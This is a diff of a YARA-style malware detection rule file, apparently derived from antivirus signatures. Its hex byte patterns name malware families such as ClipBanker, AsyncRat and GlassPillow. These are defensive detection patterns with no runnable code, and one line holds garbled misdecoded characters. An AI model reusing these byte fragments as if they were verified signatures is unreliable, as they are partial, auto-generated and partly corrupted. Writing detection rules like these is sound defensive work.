$a_54_0 = {3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 56 42 49 6e 6a 65 63 74 2e 41 44 53 00 01 00 11 01 48 69 6a 61 63 6b 41 70 6c 69 63 61 74 69 6f 6e 00 01 00 09 01 7a 44 65 63 6f 64 65 72 00 00 00 78 4c 00 00 02 00 02 00 02 00 21 23 53 43 52 49 50 54 3a } //18467 + $a_54_0 = {3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 56 42 49 6e 6a 65 63 74 2e 41 44 53 00 01 00 11 01 48 69 6a 61 63 6b 41 70 6c 69 63 61 74 69 6f 6e 00 01 00 09 01 7a 44 65 63 6f 64 65 72 00 00 00 78 4c 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 57 69 } //18467 + $a_2f_1 = {57 73 63 41 56 53 74 61 74 75 73 2e 41 00 01 00 10 01 37 2c 10 f2 c3 90 0c 45 b3 f6 92 be 16 93 bd f2 01 00 10 01 65 a7 01 39 91 ab a9 4b a5 53 5b 85 } //13166 + condition: + ((#a_54_0 & 1)*18467+(#a_2f_1 & 1)*13166) >=2 + +} +rule _InfrastructureShared_3515{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 49 57 73 63 41 56 53 74 61 74 75 73 2e 41 00 01 00 10 01 37 2c 10 f2 c3 90 0c 45 b3 f6 92 be 16 93 bd f2 01 00 10 01 65 a7 01 39 91 ab a9 4b a5 53 5b 85 38 de b8 40 00 00 78 4c 00 00 02 00 02 00 02 00 21 23 53 43 52 49 50 54 3a } //18467 $a_4c_1 = {4f 64 64 41 70 70 4e 61 6d 65 2e 41 00 01 00 16 01 63 00 6f 00 6d 00 70 00 61 00 6e 00 79 00 2e 00 73 00 72 00 6c 00 01 00 0b 01 62 65 74 68 65 6c 2e 65 78 65 00 00 00 78 4c 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 56 } //21325 condition: ((#a_54_0 & 1)*18467+(#a_4c_1 & 1)*21325) >=2 } -rule _InfrastructureShared_3432{ +rule _InfrastructureShared_3516{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -35459,17 +36330,41 @@ rule _InfrastructureShared_3432{ ((#a_52_0 & 1)*21283) >=2 } -rule _InfrastructureShared_3433{ +rule _InfrastructureShared_3517{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : - $a_4c_0 = {56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 46 6f 6f 76 6f 6f 6c 61 2e 41 00 01 00 0f 01 77 59 80 3c 3e 5c 75 53 80 7c 3e 01 78 75 4c 01 00 0e 03 6d 66 00 72 62 00 90 02 03 25 32 78 90 00 00 00 78 4c 00 00 03 } //21539 + $a_4c_0 = {56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 46 6f 6f 76 6f 6f 6c 61 2e 41 00 01 00 0f 01 77 59 80 3c 3e 5c 75 53 80 7c 3e 01 78 75 4c 01 00 0e 03 6d 66 00 72 62 00 90 02 03 25 32 78 90 00 00 00 78 4c 00 00 02 } //21539 condition: ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_3434{ +rule _InfrastructureShared_3518{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " + + strings : + $a_6c_0 = {77 4c 69 73 74 3a 4c 65 76 65 6c 52 4d 4d 00 01 00 0e 01 2f 6c 65 76 65 6c 73 6f 66 74 77 61 72 65 01 00 0c 01 2f 6c 65 76 65 6c 2d 61 67 65 6e 74 01 00 09 01 2f 6c 65 76 65 6c 72 6d 6d 00 00 78 4c 00 00 02 00 02 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 44 65 66 65 6e 64 6e 6f 74 21 66 72 61 67 73 00 01 00 05 01 2d } //16675 + $a_00_1 = {01 00 05 01 2e 62 69 6e 00 01 00 11 01 4f 70 65 6e 46 69 6c 65 4d 61 70 70 69 6e 67 41 00 00 00 78 4c 00 00 03 00 03 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 64 44 6f 6c 70 68 69 6e 2e 41 21 64 68 61 00 03 00 1d 03 5c 62 64 5f 77 6f 72 6b 5c 62 64 5c 90 02 08 5c 90 02 } //28777 + $a_6f_2 = {70 68 69 6e 90 00 00 00 78 4c 00 00 03 00 03 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 61 72 6b 53 68 61 64 6f 77 52 65 63 6f 67 6e 69 7a 65 72 2e 41 21 64 68 61 00 03 00 12 01 } //23559 + condition: + ((#a_6c_0 & 1)*16675+(#a_00_1 & 1)*28777+(#a_6f_2 & 1)*23559) >=2 + +} +rule _InfrastructureShared_3519{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 44 65 66 65 6e 64 6e 6f 74 21 66 72 61 67 73 00 01 00 05 01 2d 69 70 63 00 01 00 05 01 2e 62 69 6e 00 01 00 11 01 4f 70 65 6e 46 69 6c 65 4d 61 70 70 69 6e 67 41 00 00 00 78 4c 00 00 03 00 03 00 01 00 21 23 41 4c 46 3a 54 72 6f } //18467 + $a_3a_1 = {69 6e 33 32 2f 42 64 44 6f 6c 70 68 69 6e 2e 41 21 64 68 61 00 03 00 1d 03 5c 62 64 5f 77 6f 72 6b 5c 62 64 5c 90 02 08 5c 90 02 07 5c 44 6f 6c 70 68 69 6e 90 00 00 00 78 4c 00 00 03 00 03 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 61 72 6b 53 68 61 64 6f 77 52 65 63 6f 67 6e 69 7a 65 72 2e 41 21 64 68 } //24938 + $a_00_2 = {12 01 5c } //97 + condition: + ((#a_54_0 & 1)*18467+(#a_3a_1 & 1)*24938+(#a_00_2 & 1)*97) >=2 + +} +rule _InfrastructureShared_3520{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 21 " @@ -35479,7 +36374,7 @@ rule _InfrastructureShared_3434{ ((#a_46_0 & 1)*16675) >=3 } -rule _InfrastructureShared_3435{ +rule _InfrastructureShared_3521{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 21 " @@ -35489,7 +36384,7 @@ rule _InfrastructureShared_3435{ ((#a_46_0 & 1)*16675) >=3 } -rule _InfrastructureShared_3436{ +rule _InfrastructureShared_3522{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -35501,7 +36396,7 @@ rule _InfrastructureShared_3436{ ((#a_46_0 & 1)*16675+(#a_52_1 & 1)*21320+(#a_72_2 & 1)*29761) >=3 } -rule _InfrastructureShared_3437{ +rule _InfrastructureShared_3523{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -35513,7 +36408,7 @@ rule _InfrastructureShared_3437{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*28532+(#a_48_2 & 1)*8448) >=3 } -rule _InfrastructureShared_3438{ +rule _InfrastructureShared_3524{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -35525,7 +36420,7 @@ rule _InfrastructureShared_3438{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*28532+(#a_48_2 & 1)*8448) >=3 } -rule _InfrastructureShared_3439{ +rule _InfrastructureShared_3525{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -35537,7 +36432,7 @@ rule _InfrastructureShared_3439{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*27247+(#a_61_2 & 1)*25633) >=3 } -rule _InfrastructureShared_3440{ +rule _InfrastructureShared_3526{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -35549,28 +36444,38 @@ rule _InfrastructureShared_3440{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*28524+(#a_16_2 & 1)*283) >=3 } -rule _InfrastructureShared_3441{ +rule _InfrastructureShared_3527{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " strings : $a_46_0 = {45 78 70 6c 6f 69 74 3a 57 69 6e 36 34 2f 54 6f 67 61 70 61 73 6f 78 2e 42 21 64 68 61 00 02 00 0c 23 ba 00 01 00 00 90 02 20 ff 15 90 00 02 00 0c 23 ba a4 00 09 00 90 02 10 ff 15 90 00 00 00 78 4c 00 00 05 00 05 00 01 00 21 23 } //16675 - $a_3a_1 = {72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 6c 69 70 42 61 6e 6b 65 72 2e 45 41 44 21 4d 54 42 00 05 00 1b 01 0b 16 0c 2b 0e 06 08 02 07 91 9c 07 17 59 0b 08 17 58 0c 08 06 8e 69 32 ec 06 2a 00 00 78 4c 00 00 0a 00 0a } //19521 + $a_3a_1 = {72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 6c 69 70 42 61 6e 6b 65 72 2e 45 41 44 21 4d 54 42 00 05 00 1b 01 0b 16 0c 2b 0e 06 08 02 07 91 9c 07 17 59 0b 08 17 58 0c 08 06 8e 69 32 ec 06 2a 00 00 78 4c 00 00 05 00 05 } //19521 condition: ((#a_46_0 & 1)*16675+(#a_3a_1 & 1)*19521) >=4 } -rule _InfrastructureShared_3442{ +rule _InfrastructureShared_3528{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 6c 69 70 42 61 6e 6b 65 72 2e 45 41 44 21 4d 54 42 00 05 00 1b 01 0b 16 0c 2b 0e 06 08 02 07 91 9c 07 17 59 0b 08 17 58 0c 08 06 8e 69 32 ec 06 2a 00 00 78 4c 00 00 0a 00 0a 00 01 00 21 23 } //16675 + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 6c 69 70 42 61 6e 6b 65 72 2e 45 41 44 21 4d 54 42 00 05 00 1b 01 0b 16 0c 2b 0e 06 08 02 07 91 9c 07 17 59 0b 08 17 58 0c 08 06 8e 69 32 ec 06 2a 00 00 78 4c 00 00 05 00 05 00 02 00 21 23 } //16675 condition: ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_3443{ +rule _InfrastructureShared_3529{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 73 79 6e 63 52 61 74 2e 43 44 21 4d 54 42 00 02 00 0c 03 04 03 61 1f 90 01 01 59 45 01 90 00 03 00 0e 01 42 61 62 65 6c 41 74 74 72 69 62 75 74 65 00 00 78 4c 00 00 0a } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=5 + +} +rule _InfrastructureShared_3530{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -35580,7 +36485,7 @@ rule _InfrastructureShared_3443{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_3444{ +rule _InfrastructureShared_3531{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -35590,7 +36495,7 @@ rule _InfrastructureShared_3444{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_3445{ +rule _InfrastructureShared_3532{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -35600,7 +36505,7 @@ rule _InfrastructureShared_3445{ ((#a_5f_0 & 1)*25635) >=10 } -rule _InfrastructureShared_3446{ +rule _InfrastructureShared_3533{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -35610,7 +36515,7 @@ rule _InfrastructureShared_3446{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_3447{ +rule _InfrastructureShared_3534{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -35620,7 +36525,7 @@ rule _InfrastructureShared_3447{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_3448{ +rule _InfrastructureShared_3535{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -35630,7 +36535,7 @@ rule _InfrastructureShared_3448{ ((#a_54_0 & 1)*18467) >=100 } -rule _InfrastructureShared_3449{ +rule _InfrastructureShared_3536{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35640,7 +36545,17 @@ rule _InfrastructureShared_3449{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3450{ +rule _InfrastructureShared_3537{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 47 6c 61 73 73 50 69 6c 6c 6f 77 2e 41 21 64 68 61 00 01 00 1a 01 4d 54 4d 79 4e 54 63 7a 4e 6a 49 32 4e 7a 45 35 4e 44 6b 32 4d 54 6b 31 4d 67 00 00 78 4d 00 00 01 00 01 00 01 00 21 } //16675 慈正潔汯场湩㐶䜯慬獳楐汬睯䄮搡慨Āᨀ䴁䵔乹捔乺䥪串䕺丵歄䴲歔䴱g砀MĀĀĀ℀ + condition: + ((#a_46_0 & 1)*16675) >=1 + +} +rule _InfrastructureShared_3538{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35650,7 +36565,7 @@ rule _InfrastructureShared_3450{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3451{ +rule _InfrastructureShared_3539{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35660,7 +36575,7 @@ rule _InfrastructureShared_3451{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3452{ +rule _InfrastructureShared_3540{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35670,7 +36585,7 @@ rule _InfrastructureShared_3452{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3453{ +rule _InfrastructureShared_3541{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35680,7 +36595,7 @@ rule _InfrastructureShared_3453{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3454{ +rule _InfrastructureShared_3542{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35690,7 +36605,7 @@ rule _InfrastructureShared_3454{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3455{ +rule _InfrastructureShared_3543{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35700,7 +36615,7 @@ rule _InfrastructureShared_3455{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3456{ +rule _InfrastructureShared_3544{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35710,7 +36625,7 @@ rule _InfrastructureShared_3456{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3457{ +rule _InfrastructureShared_3545{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35720,7 +36635,7 @@ rule _InfrastructureShared_3457{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3458{ +rule _InfrastructureShared_3546{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35730,7 +36645,7 @@ rule _InfrastructureShared_3458{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3459{ +rule _InfrastructureShared_3547{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35740,7 +36655,7 @@ rule _InfrastructureShared_3459{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_3460{ +rule _InfrastructureShared_3548{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35750,7 +36665,7 @@ rule _InfrastructureShared_3460{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_3461{ +rule _InfrastructureShared_3549{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35760,17 +36675,27 @@ rule _InfrastructureShared_3461{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_3462{ +rule _InfrastructureShared_3550{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_54_0 = {3a 45 6e 61 62 6c 65 44 65 65 70 41 6e 61 6c 79 73 69 73 46 6f 72 47 6f 6c 64 4d 61 78 00 01 00 1d 03 6d 61 69 6e 2e 73 65 6e 64 5f 63 6f 90 01 01 6d 61 6e 64 5f 72 65 73 75 6c 74 00 90 00 00 00 78 4d 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 4b } //18467 + $a_54_0 = {3a 45 6e 61 62 6c 65 44 65 65 70 41 6e 61 6c 79 73 69 73 46 6f 72 47 6f 6c 64 4d 61 78 00 01 00 1d 03 6d 61 69 6e 2e 73 65 6e 64 5f 63 6f 90 01 01 6d 61 6e 64 5f 72 65 73 75 6c 74 00 90 00 00 00 78 4d 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 45 } //18467 condition: ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3463{ +rule _InfrastructureShared_3551{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_54_0 = {3a 45 78 70 61 6e 64 33 32 42 79 74 65 4b 53 74 61 63 6b 53 74 72 69 6e 67 00 01 00 21 03 65 78 70 61 c7 81 90 01 04 6e 64 20 33 c7 81 90 01 04 32 2d 62 79 c7 81 90 01 04 74 65 20 6b 90 00 00 00 78 4d 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 4b } //18467 + condition: + ((#a_54_0 & 1)*18467) >=1 + +} +rule _InfrastructureShared_3552{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35780,7 +36705,7 @@ rule _InfrastructureShared_3463{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3464{ +rule _InfrastructureShared_3553{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35790,7 +36715,7 @@ rule _InfrastructureShared_3464{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3465{ +rule _InfrastructureShared_3554{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35800,7 +36725,7 @@ rule _InfrastructureShared_3465{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3466{ +rule _InfrastructureShared_3555{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35810,7 +36735,7 @@ rule _InfrastructureShared_3466{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3467{ +rule _InfrastructureShared_3556{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35820,7 +36745,7 @@ rule _InfrastructureShared_3467{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3468{ +rule _InfrastructureShared_3557{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35830,7 +36755,17 @@ rule _InfrastructureShared_3468{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3469{ +rule _InfrastructureShared_3558{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 61 7a 79 2e 48 4e 52 21 4d 54 42 00 01 00 20 01 6f 17 7c 41 84 64 4c a6 c1 6e 30 3d d6 18 23 5e a7 33 65 68 34 dc f9 bf 83 0c ad 07 b4 04 16 80 00 00 78 4d 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 54 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=1 + +} +rule _InfrastructureShared_3559{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35840,7 +36775,7 @@ rule _InfrastructureShared_3469{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3470{ +rule _InfrastructureShared_3560{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35850,7 +36785,7 @@ rule _InfrastructureShared_3470{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3471{ +rule _InfrastructureShared_3561{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35860,7 +36795,7 @@ rule _InfrastructureShared_3471{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3472{ +rule _InfrastructureShared_3562{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35870,7 +36805,7 @@ rule _InfrastructureShared_3472{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3473{ +rule _InfrastructureShared_3563{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35880,7 +36815,7 @@ rule _InfrastructureShared_3473{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3474{ +rule _InfrastructureShared_3564{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35890,7 +36825,7 @@ rule _InfrastructureShared_3474{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3475{ +rule _InfrastructureShared_3565{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35900,7 +36835,7 @@ rule _InfrastructureShared_3475{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3476{ +rule _InfrastructureShared_3566{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35910,7 +36845,7 @@ rule _InfrastructureShared_3476{ ((#a_6a_0 & 1)*18723) >=1 } -rule _InfrastructureShared_3477{ +rule _InfrastructureShared_3567{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35920,7 +36855,7 @@ rule _InfrastructureShared_3477{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3478{ +rule _InfrastructureShared_3568{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35930,7 +36865,7 @@ rule _InfrastructureShared_3478{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3479{ +rule _InfrastructureShared_3569{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35940,7 +36875,7 @@ rule _InfrastructureShared_3479{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3480{ +rule _InfrastructureShared_3570{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35950,7 +36885,7 @@ rule _InfrastructureShared_3480{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3481{ +rule _InfrastructureShared_3571{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35960,7 +36895,7 @@ rule _InfrastructureShared_3481{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3482{ +rule _InfrastructureShared_3572{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35970,7 +36905,7 @@ rule _InfrastructureShared_3482{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3483{ +rule _InfrastructureShared_3573{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35980,7 +36915,7 @@ rule _InfrastructureShared_3483{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3484{ +rule _InfrastructureShared_3574{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -35990,7 +36925,7 @@ rule _InfrastructureShared_3484{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3485{ +rule _InfrastructureShared_3575{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36000,7 +36935,7 @@ rule _InfrastructureShared_3485{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_3486{ +rule _InfrastructureShared_3576{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36010,7 +36945,37 @@ rule _InfrastructureShared_3486{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3487{ +rule _InfrastructureShared_3577{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 48 65 72 61 63 6c 65 73 2e 41 46 21 4d 54 42 00 01 00 1f 01 fe 0c 29 00 76 6c fe 0c 29 00 68 6c 5b 6d fe 0c 2f 00 61 76 6c fe 0c 29 00 76 6c 58 6d fe 0e 00 00 78 4d 00 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_3578{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 42 57 21 4d 54 42 00 01 00 1f 01 01 25 16 11 25 9c 25 17 11 26 9c 25 18 11 27 9c 13 32 11 0b 20 e8 03 00 00 5d 20 e7 03 00 00 00 00 78 4d 00 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_3579{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4d 61 72 64 6f 6d 2e 41 44 21 4d 54 42 00 01 00 21 01 7e 41 00 00 04 20 d6 cf 66 24 65 20 cc fd 01 57 59 20 5e 32 97 84 61 7d 13 00 00 04 38 cc fb ff ff 00 00 78 4d 00 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_3580{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36020,17 +36985,7 @@ rule _InfrastructureShared_3487{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3488{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 61 7a 79 2e 41 42 21 4d 54 42 00 01 00 22 01 8b 8d fc fe ff ff 03 4d bc 0f b6 01 99 b9 1a 00 00 00 f7 f9 83 c2 41 8b 45 bc 88 94 05 84 fe ff ff e9 00 00 78 4d 00 00 } //21539 - condition: - ((#a_4c_0 & 1)*21539) >=1 - -} -rule _InfrastructureShared_3489{ +rule _InfrastructureShared_3581{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36040,7 +36995,7 @@ rule _InfrastructureShared_3489{ ((#a_6f_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3490{ +rule _InfrastructureShared_3582{ meta: description = 